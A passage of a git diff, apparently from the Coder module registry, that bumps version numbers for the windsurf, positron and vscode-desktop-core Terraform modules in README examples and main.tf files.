variable "group" { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/coder/modules/windsurf/README.md b/registry/coder/modules/windsurf/README.md index 77c57d40..4463552f 100644 --- a/registry/coder/modules/windsurf/README.md +++ b/registry/coder/modules/windsurf/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "windsurf" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/windsurf/coder" - version = "1.3.0" + version = "1.3.1" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "windsurf" { module "windsurf" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/windsurf/coder" - version = "1.3.0" + version = "1.3.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } @@ -45,7 +45,7 @@ The following example configures Windsurf to use the GitHub MCP server with auth module "windsurf" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/windsurf/coder" - version = "1.3.0" + version = "1.3.1" agent_id = coder_agent.main.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/windsurf/main.tf b/registry/coder/modules/windsurf/main.tf index 3ec29d5b..90521fa6 100644 --- a/registry/coder/modules/windsurf/main.tf +++ b/registry/coder/modules/windsurf/main.tf @@ -65,7 +65,7 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/cytoshahar/modules/positron/README.md b/registry/cytoshahar/modules/positron/README.md index 139b560c..21d4e543 100644 --- a/registry/cytoshahar/modules/positron/README.md +++ b/registry/cytoshahar/modules/positron/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "positron" { count = data.coder_workspace.me.start_count source = "registry.coder.com/cytoshahar/positron/coder" - version = "1.0.1" + version = "1.0.2" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "positron" { module "positron" { count = data.coder_workspace.me.start_count source = "registry.coder.com/cytoshahar/positron/coder" - version = "1.0.1" + version = "1.0.2" agent_id = coder_agent.main.id folder = "/home/coder/project" } diff --git a/registry/cytoshahar/modules/positron/main.tf b/registry/cytoshahar/modules/positron/main.tf index 070feed8..1d391296 100644 --- a/registry/cytoshahar/modules/positron/main.tf +++ b/registry/cytoshahar/modules/positron/main.tf @@ -55,7 +55,7 @@ data "coder_workspace_owner" "me" {} module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id